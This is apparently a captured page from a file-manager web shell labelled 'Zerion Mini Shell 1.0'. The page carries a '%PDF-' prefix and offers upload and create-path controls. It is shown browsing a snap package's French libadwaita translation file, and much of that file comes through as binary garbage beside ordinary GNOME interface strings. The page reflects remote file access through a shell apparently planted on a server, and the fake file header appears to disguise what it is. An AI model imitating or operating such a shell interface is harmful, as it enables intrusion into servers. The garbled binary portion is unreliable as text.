%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-46-2404/153/usr/share/locale/fr/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-46-2404/153/usr/share/locale/fr/LC_MESSAGES/libadwaita.mo

���\��pq�"��&���
"3;W]
r}�����
���	�


.
6
=
	S

]
k
s
z
�
�
�

�
1�
5�
*.>*m.�3�7�135e
����
�
����)DM
Zh
y	�
��
��V�!-:F]t{������
����*
0>DVt���$:\K��o~
�����$�

%05DQWgn
����������
"?T)h�/�	���
.6	R\
s�������*�!(:MVt}������	���<@M5�9�5�94@nD�>�B3v�������&3Dap���	�
����p����
�$��   " * A )X � � 1� 	� � !!!=!C!\!d!:w!0�!	�!��!�"�"a�"�;#9$U$g$
s$!~$"�$/�$8�$,%
<%G%K%d%q%y%�%�%�%	�%�%	�%�%�%&'&A&[&	g&
q&}UoA^�F9�B5I8�GC\�L=@?Sn�dRgca#T`jQ;	*Mm<{z.7KJwb)_E%�W:, [N6/sY0P2kDi]H(3|"x'rO4l>�1e�v+
y
�!pXh~utf&-V$qZ%u Tab%u TabsA toast appearedA toast appeared, has a button: %sA toast appeared: %sA toast appeared: %s, has a button: %sAboutAccent ColorAccessibilityAcknowledgementsAdaptive PreviewAdwaitaApache License, Version 2.0ApplyArtistic License 2.0Artwork byAvatar of %sBSD 2-Clause LicenseBSD 3-Clause LicenseBSD Zero-Clause LicenseBackBlueBottom BarCaps Lock is onCloseClose TabClose the windowCode byCopied to clipboardCreditsCustomDebugging InformationDesign byDesktop ShellDetailsDeviceDismissDisplayDocumentation byExitFullscreenGNU Affero General Public License, version 3 onlyGNU Affero General Public License, version 3 or laterGNU General Public License, version 2 onlyGNU General Public License, version 2 or laterGNU General Public License, version 3 onlyGNU General Public License, version 3 or laterGNU Lesser General Public License, version 2.1 onlyGNU Lesser General Public License, version 2.1 or laterGNU Lesser General Public License, version 3 onlyGNU Lesser General Public License, version 3 or laterGeneric PhoneGeneric TabletGreenHeightHide PasswordHigh ContrastHighlight BezelLegalLine: %d, character: %dMobile ShellMore OptionsMozilla Public License 2.0New _TabNo Open TabsNo PreferenceNo Results FoundNo Tabs FoundOnePlus 6OnePlus 6TOrangeOther AppsOther Apps by %sOverride settings for this application. They will be reset upon closing the inspector.PhoshPinkPrefer DarkPrefer LightPreferencesPreferred Accent ColorPreferred Color SchemePresetPurpleRedRotateRotate LeftRotate RightSave debugging informationScale to FitScreenshotScreenshot Copied to ClipboardSearchSearch TabsSearch preferencesSearch tabsShellShow PasswordSlateSystem AppearanceSystem Supports Accent ColorsSystem Supports Color SchemesTealTest the app at specific screen sizes to simulate a mobile environment. Open the preview directly on any supported window using Shift+Ctrl+MThe MIT License (MIT)This ApplicationThis application comes with absolutely no warranty. See the <a href="%s">%s</a> for details.To assist in troubleshooting, you can view your debugging information. Providing this information to the application developers can help diagnose any problems you encounter when you report an issue.Toggle SidebarTop BarTranslated byTroubleshootingTry a different searchTry a different search.Unable to parse release notes:Unable to save debugging informationUntitled pageVersion %sViewView Open TabsWhat’s NewWidthWindow ControlsYellow_Acknowledgements_Copy Text_Credits_Debugging Information_Details_Legal_Report an Issue_Save As…_Show Password_Support Questions_Troubleshooting_Website_What’s NewProject-Id-Version: libhandy master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libadwaita/issues
PO-Revision-Date: 2025-03-04 22:18+0100
Last-Translator: Vincent Chatelain <vincent_chatelain@proton.me>
Language-Team: French <gnomefr@traduc.org>
Language: fr
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n > 1);
X-Generator: Gtranslator 46.1
X-DL-Team: fr
X-DL-Module: libadwaita
X-DL-Branch: main
X-DL-Domain: po
X-DL-State: Translating
X-DL-Lang: fr
%u onglet%u ongletsUn toast est apparuUn toast est apparu, avec un bouton : %sUn toast est apparu : %sUn toast est apparu : %s, avec un bouton : %sÀ proposCouleur d’accentuationAccessibilitéRemerciementsAperçu adaptatifAdwaitaLicence Apache, version 2.0AppliquerLicence artistique 2.0Graphisme parAvatar de %sLicence BSD à 2 clausesLicence BSD à 3 clausesLicence BSD à 0 clauseRetourBleuBarre inférieureLe verrouillage des majuscules est activéFermerFermer l’ongletFermer la fenêtreCode parCopié dans le presse-papiersCréditsPersonnaliséeInformations de débogageConception parShell de bureauDétailsAppareilIgnorerAffichageDocumentation parQuitterPlein écranLicence publique générale GNU Affero, version 3 uniquementLicence publique générale GNU Affero, version 3 ou ultérieureLicence publique générale GNU, version 2 uniquementLicence publique générale GNU, version 2 ou ultérieureLicence publique générale GNU, version 3 uniquementLicence publique générale GNU, version 3 ou ultérieureLicence publique générale limitée GNU, version 2.1 uniquementLicence publique générale limitée GNU, version 2.1 ou ultérieureLicence publique générale limitée GNU, version 3 uniquementLicence publique générale limitée GNU, version 3 ou ultérieureTéléphone génériqueTablette génériqueVertHauteurCacher le mot de passeContraste élevéMettre en évidence le cadreMentions légalesLigne : %d, caractère : %dShell mobilePlus d’optionsLicence Publique Mozilla 2.0Nouvel _ongletAucun onglet ouvertAucune préférenceAucun résultat trouvéAucun onglet trouvéOnePlus 6OnePlus 6TOrangeAutres applicationsAutres applications par %sSurcharger les réglages pour cette application. Ils seront réinitialisés dès la fermeture de l’inspecteur.PhoshRosePréférer le sombrePréférer le clairPréférencesCouleur d’accentuation préféréeJeu de couleurs préféréPréconfigurationVioletRougePivoterPivoter vers la gauchePivoter vers la droiteEnregistrer les informations de débogageMettre à l’échelleCapture d’écranCapture d’écran copiée dans le presse-papiersRechercheRechercher dans les ongletsRechercher des préférencesRechercher dans les ongletsShellAfficher le mot de passeArdoiseApparence systèmeLe système prend en charge les couleurs d’accentuationsLe système prend en charge les jeux de couleursTurquoiseTester l’application avec des tailles d’écran spécifiques pour simuler un environnement mobile. Utiliser Maj+Ctrl+M pour ouvrir directement l’aperçu sur n’importe quelle fenêtre prise en chargeLicence MITCette applicationCe programme est fourni sans aucune garantie. Pour plus de détails, visitez <a href="%s">%s</a>.Pour faciliter le dépannage, vous pouvez visualiser vos informations de débogage. Le fait de fournir ces informations aux développeurs d’applications peut aider à diagnostiquer les problèmes que vous rencontrez lorsque vous signalez une anomalie.Basculer la barre latéraleBarre supérieureTraduit parDépannageEssayer une recherche différenteEssayer une recherche différente.Impossible d’analyser les notes de version :Impossible d’enregistrer les informations de débogagePage sans titreVersion %sVueVoir les onglets ouvertsQuoi de neufLargeurContrôles de la fenêtreJaune_Remerciements_Copier le texte_CréditsInformations de dé_bogage_DétailsMentions _légales_Signaler un problèmeEnregistrer _sous…_Afficher le mot de passe_Questions d’assistanceDé_pannageSite _webQ_uoi de neuf

Zerion Mini Shell 1.0